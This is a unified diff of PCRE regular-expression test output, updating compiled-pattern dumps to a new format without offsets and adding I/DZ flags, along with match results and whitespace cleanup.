-  0  37 Bra 0
-  3     ^
-  4     [\x00-\x08\x0a-\x1f!-\xff]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [\x00-\x08\x0a-\x1f!-\xff] (neg)
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
 
-/[01[:alpha:]%]/D
+/[01[:alpha:]%]/DZ
 ------------------------------------------------------------------
-  0  36 Bra 0
-  3     [%01A-Za-z]
- 36  36 Ket
- 39     End
+        Bra
+        [%01A-Za-z]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 
-/[[.ch.]]/
+/[[.ch.]]/I
 Failed: POSIX collating elements are not supported at offset 1
 
-/[[=ch=]]/
+/[[=ch=]]/I
 Failed: POSIX collating elements are not supported at offset 1
 
-/[[:rhubarb:]]/
+/[[:rhubarb:]]/I
 Failed: unknown POSIX class name at offset 3
 
-/[[:upper:]]/i
+/[[:upper:]]/Ii
 Capturing subpattern count = 0
 Options: caseless
 No first char
 No need char
     A
  0: A
-    a 
+    a
  0: a
-    
-/[[:lower:]]/i
+
+/[[:lower:]]/Ii
 Capturing subpattern count = 0
 Options: caseless
 No first char
 No need char
     A
  0: A
-    a 
+    a
  0: a
 
-/((?-i)[[:lower:]])[[:lower:]]/i
+/((?-i)[[:lower:]])[[:lower:]]/Ii
 Capturing subpattern count = 1
 Options: caseless
 No first char
@@ -2230,22 +2231,22 @@
  1: a
     Ab
 No match
-    AB        
+    AB
 No match
 
-/[\200-\110]/
+/[\200-\110]/I
 Failed: range out of order in character class at offset 9
 
-/^(?(0)f|b)oo/
+/^(?(0)f|b)oo/I
 Failed: invalid condition (?(0) at offset 6
 
-/This one's here because of the large output vector needed/
+/This one's here because of the large output vector needed/I
 Capturing subpattern count = 0
 No options
 First char = 'T'
 Need char = 'd'
 
-/(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\w+)\s+(\270)/
+/(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\d+(?:\s|$))(\w+)\s+(\270)/I
 Capturing subpattern count = 271
 Max back reference = 270
 Partial matching not supported
@@ -2526,13 +2527,13 @@
 270: ABC
 271: ABC
 
-/This one's here because Perl does this differently and PCRE can't at present/
+/This one's here because Perl does this differently and PCRE can't at present/I
 Capturing subpattern count = 0
 No options
 First char = 'T'
 Need char = 't'
 
-/(main(O)?)+/
+/(main(O)?)+/I
 Capturing subpattern count = 2
 No options
 First char = 'm'
@@ -2544,14 +2545,14 @@
  0: mainOmain
  1: main
  2: O
-    
-/These are all cases where Perl does it differently (nested captures)/
+
+/These are all cases where Perl does it differently (nested captures)/I
 Capturing subpattern count = 1
 No options
 First char = 'T'
 Need char = 's'
 
-/^(a(b)?)+$/
+/^(a(b)?)+$/I
 Capturing subpattern count = 2
 Options: anchored
 No first char
@@ -2560,197 +2561,195 @@
  0: aba
  1: a
  2: b
-   
-/^(aa(bb)?)+$/
+
+/^(aa(bb)?)+$/I
 Capturing subpattern count = 2
 Options: anchored
 No first char
 No need char
-    aabbaa    
+    aabbaa
  0: aabbaa
  1: aa
  2: bb
-    
-/^(aa|aa(bb))+$/
+
+/^(aa|aa(bb))+$/I
 Capturing subpattern count = 2
 Options: anchored
 No first char
 No need char
-    aabbaa 
+    aabbaa
  0: aabbaa
  1: aa
  2: bb
-    
-/^(aa(bb)??)+$/
+
+/^(aa(bb)??)+$/I
 Capturing subpattern count = 2
 Options: anchored
 No first char
 No need char
-    aabbaa    
+    aabbaa
  0: aabbaa
  1: aa
  2: bb
-    
-/^(?:aa(bb)?)+$/
+
+/^(?:aa(bb)?)+$/I
 Capturing subpattern count = 1
 Options: anchored
 No first char
 No need char
-    aabbaa    
+    aabbaa
  0: aabbaa
  1: bb
-    
-/^(aa(b(b))?)+$/
+
+/^(aa(b(b))?)+$/I
 Capturing subpattern count = 3
 Options: anchored
 No first char
 No need char
-    aabbaa    
+    aabbaa
  0: aabbaa
  1: aa
  2: bb
  3: b
 
-/^(?:aa(b(b))?)+$/
+/^(?:aa(b(b))?)+$/I
 Capturing subpattern count = 2
 Options: anchored
 No first char
 No need char
-    aabbaa    
+    aabbaa
  0: aabbaa
  1: bb
  2: b
 
-/^(?:aa(b(?:b))?)+$/
+/^(?:aa(b(?:b))?)+$/I
 Capturing subpattern count = 1
 Options: anchored
 No first char
 No need char
-    aabbaa    
+    aabbaa
  0: aabbaa
  1: bb
 
-/^(?:aa(bb(?:b))?)+$/
+/^(?:aa(bb(?:b))?)+$/I
 Capturing subpattern count = 1
 Options: anchored
 No first char
 No need char
-    aabbbaa    
+    aabbbaa
  0: aabbbaa
  1: bbb
-    
-/^(?:aa(b(?:bb))?)+$/
+
+/^(?:aa(b(?:bb))?)+$/I
 Capturing subpattern count = 1
 Options: anchored
 No first char
 No need char
-    aabbbaa    
+    aabbbaa
  0: aabbbaa
  1: bbb
 
-/^(?:aa(?:b(b))?)+$/
+/^(?:aa(?:b(b))?)+$/I
 Capturing subpattern count = 1
 Options: anchored
 No first char
 No need char
-    aabbaa    
+    aabbaa
  0: aabbaa
  1: b
 
-/^(?:aa(?:b(bb))?)+$/
+/^(?:aa(?:b(bb))?)+$/I
 Capturing subpattern count = 1
 Options: anchored
 No first char
 No need char
-    aabbbaa    
+    aabbbaa
  0: aabbbaa
  1: bb
 
-/^(aa(b(bb))?)+$/
+/^(aa(b(bb))?)+$/I
 Capturing subpattern count = 3
 Options: anchored
 No first char
 No need char
-    aabbbaa    
+    aabbbaa
  0: aabbbaa
  1: aa
  2: bbb
  3: bb
 
-/^(aa(bb(bb))?)+$/
+/^(aa(bb(bb))?)+$/I
 Capturing subpattern count = 3
 Options: anchored
 No first char
 No need char
-    aabbbbaa    
+    aabbbbaa
  0: aabbbbaa
  1: aa
  2: bbbb
  3: bb
 
-/--------------------------------------------------------------------/ 
+/--------------------------------------------------------------------/I
 Capturing subpattern count = 0
 No options
 First char = '-'
 Need char = '-'
-    
-/#/xMD
-Memory allocation (code space): 7
+
+/#/IxDZ
 ------------------------------------------------------------------
-  0   3 Bra 0
-  3   3 Ket
-  6     End
+        Bra
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: extended
 No first char
 No need char
 
-/a#/xMD
-Memory allocation (code space): 9
+/a#/IxDZ
 ------------------------------------------------------------------
-  0   5 Bra 0
-  3     a
-  5   5 Ket
-  8     End
+        Bra
+        a
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: extended
 First char = 'a'
 No need char
 
-/[\s]/D
+/[\s]/DZ
 ------------------------------------------------------------------
-  0  36 Bra 0
-  3     [\x09\x0a\x0c\x0d ]
- 36  36 Ket
- 39     End
+        Bra
+        [\x09\x0a\x0c\x0d ]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 
-/[\S]/D
+/[\S]/DZ
 ------------------------------------------------------------------
-  0  36 Bra 0
-  3     [\x00-\x08\x0b\x0e-\x1f!-\xff]
- 36  36 Ket
- 39     End
+        Bra
+        [\x00-\x08\x0b\x0e-\x1f!-\xff] (neg)
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 
-/a(?i)b/D
+/a(?i)b/DZ
 ------------------------------------------------------------------
-  0   9 Bra 0
-  3     a
-  5  01 Opt
-  7  NC b
-  9   9 Ket
- 12     End
+        Bra
+        a
+     01 Opt
+     NC b
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
@@ -2760,22 +2759,22 @@
  0: ab
     aB
  0: aB
-    *** Failers 
+    *** Failers
 No match
-    AB  
+    AB
 No match
 
-/(a(?i)b)/D
+/(a(?i)b)/DZ
 ------------------------------------------------------------------
-  0  17 Bra 0
-  3   9 Bra 1
-  6     a
-  8  01 Opt
- 10  NC b
- 12   9 Ket
- 15  00 Opt
- 17  17 Ket
- 20     End
+        Bra
+        CBra 1
+        a
+     01 Opt
+     NC b
+        Ket
+     00 Opt
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 No options
@@ -2787,17 +2786,17 @@
     aB
  0: aB
  1: aB
-    *** Failers 
+    *** Failers
 No match
-    AB  
+    AB
 No match
-    
-/   (?i)abc/xD
+
+/   (?i)abc/IxDZ
 ------------------------------------------------------------------
-  0   9 Bra 0
-  3  NC abc
-  9   9 Ket
- 12     End
+        Bra
+     NC abc
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: caseless extended
@@ -2805,47 +2804,47 @@
 Need char = 'c' (caseless)
 
 /#this is a comment
-  (?i)abc/xD
+  (?i)abc/IxDZ
 ------------------------------------------------------------------
-  0   9 Bra 0
-  3  NC abc
-  9   9 Ket
- 12     End
+        Bra
+     NC abc
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: caseless extended
 First char = 'a' (caseless)
 Need char = 'c' (caseless)
 
-/123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890/D
+/123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890/DZ
 ------------------------------------------------------------------
-  0 603 Bra 0
-  3     123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
-603 603 Ket
-606     End
+        Bra
+        123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 First char = '1'
 Need char = '0'
 
-/\Q123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890/D
+/\Q123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890/DZ
 ------------------------------------------------------------------
-  0 603 Bra 0
-  3     123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
-603 603 Ket
-606     End
+        Bra
+        123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 First char = '1'
 Need char = '0'
 
-/\Q\E/D
+/\Q\E/DZ
 ------------------------------------------------------------------
-  0   3 Bra 0
-  3   3 Ket
-  6     End
+        Bra
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
@@ -2854,36 +2853,36 @@
     \
  0: 
 
-/\Q\Ex/D
+/\Q\Ex/DZ
 ------------------------------------------------------------------
-  0   5 Bra 0
-  3     x
-  5   5 Ket
-  8     End
+        Bra
+        x
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 First char = 'x'
 No need char
 
-/ \Q\E/D
+/ \Q\E/DZ
 ------------------------------------------------------------------
-  0   5 Bra 0
-  3      
-  5   5 Ket
-  8     End
+        Bra
+         
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 First char = ' '
 No need char
 
-/a\Q\E/D
+/a\Q\E/DZ
 ------------------------------------------------------------------
-  0   5 Bra 0
-  3     a
-  5   5 Ket
-  8     End
+        Bra
+        a
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
@@ -2893,15 +2892,15 @@
  0: a
   bca
  0: a
-  bac  
+  bac
  0: a
 
-/a\Q\Eb/D
+/a\Q\Eb/DZ
 ------------------------------------------------------------------
-  0   7 Bra 0
-  3     ab
-  7   7 Ket
- 10     End
+        Bra
+        ab
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
@@ -2910,27 +2909,25 @@
   abc
  0: ab
 
-/\Q\Eabc/D
+/\Q\Eabc/DZ
 ------------------------------------------------------------------
-  0   9 Bra 0
-  3     abc
-  9   9 Ket
- 12     End
+        Bra
+        abc
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 First char = 'a'
 Need char = 'c'
 
-/x*+\w/D
+/x*+\w/DZ
 ------------------------------------------------------------------
-  0  12 Bra 0
-  3   5 Once
-  6     x*
-  8   5 Ket
- 11     \w
- 12  12 Ket
- 15     End
+        Bra
+        x*+
+        \w
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -2941,29 +2938,25 @@
  0: F
     xxxxx
 No match
-    
-/x?+/D
+
+/x?+/DZ
 ------------------------------------------------------------------
-  0  11 Bra 0
-  3   5 Once
-  6     x?
-  8   5 Ket
- 11  11 Ket
- 14     End
+        Bra
+        x?+
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 
-/x++/D
+/x++/DZ
 ------------------------------------------------------------------
-  0  11 Bra 0
-  3   5 Once
-  6     x+
-  8   5 Ket
- 11  11 Ket
- 14     End
+        Bra
+        x++
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -2971,15 +2964,15 @@
 First char = 'x'
 No need char
 
-/x{1,3}+/D 
+/x{1,3}+/DZ
 ------------------------------------------------------------------
-  0  15 Bra 0
-  3   9 Once
-  6     x
-  8     x{,2}
- 12   9 Ket
- 15  15 Ket
- 18     End
+        Bra
+        Once
+        x
+        x{0,2}
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -2987,24 +2980,24 @@
 First char = 'x'
 No need char
 
-/(x)*+/D
+/(x)*+/DZ
 ------------------------------------------------------------------
-  0  18 Bra 0
-  3  12 Once
-  6     Brazero
-  7   5 Bra 1
- 10     x
- 12   5 KetRmax
- 15  12 Ket
- 18  18 Ket
- 21     End
+        Bra
+        Once
+        Brazero
+        CBra 1
+        x
+        KetRmax
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 No options
 No first char
 No need char
 
-/^(\w++|\s++)*$/
+/^(\w++|\s++)*$/I
 Capturing subpattern count = 1
 Partial matching not supported
 Options: anchored
@@ -3017,8 +3010,8 @@
 No match
     this is not a line with only words and spaces!
 No match
-    
-/(\d++)(\w)/
+
+/(\d++)(\w)/I
 Capturing subpattern count = 2
 Partial matching not supported
 No options
@@ -3030,10 +3023,10 @@
  2: a
     *** Failers
 No match
-    12345+ 
+    12345+
 No match
 
-/a++b/
+/a++b/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
@@ -3042,7 +3035,7 @@
     aaab
  0: aaab
 
-/(a++b)/
+/(a++b)/I
 Capturing subpattern count = 1
 Partial matching not supported
 No options
@@ -3052,7 +3045,7 @@
  0: aaab
  1: aaab
 
-/(a++)b/
+/(a++)b/I
 Capturing subpattern count = 1
 Partial matching not supported
 No options
@@ -3062,7 +3055,7 @@
  0: aaab
  1: aaa
 
-/([^()]++|\([^()]*\))+/
+/([^()]++|\([^()]*\))+/I
 Capturing subpattern count = 1
 Partial matching not supported
 No options
@@ -3071,8 +3064,8 @@
     ((abc(ade)ufh()()x
  0: abc(ade)ufh()()x
  1: x
-    
-/\(([^()]++|\([^()]+\))+\)/ 
+
+/\(([^()]++|\([^()]+\))+\)/I
 Capturing subpattern count = 1
 Partial matching not supported
 No options
@@ -3086,57 +3079,55 @@
  1: xyz
     *** Failers
 No match
-    ((()aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa   
+    ((()aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
 No match
 
-/(abc){1,3}+/D
+/(abc){1,3}+/DZ
 ------------------------------------------------------------------
-  0  53 Bra 0
-  3  47 Once
-  6   9 Bra 1
-  9     abc
- 15   9 Ket
- 18     Brazero
- 19  28 Bra 0
- 22   9 Bra 1
- 25     abc
- 31   9 Ket
- 34     Brazero
- 35   9 Bra 1
- 38     abc
- 44   9 Ket
- 47  28 Ket
- 50  47 Ket
- 53  53 Ket
- 56     End
+        Bra
+        Once
+        CBra 1
+        abc
+        Ket
+        Brazero
+        Bra
+        CBra 1
+        abc
+        Ket
+        Brazero
+        CBra 1
+        abc
+        Ket
+        Ket
+        Ket
+        Ket
+        End
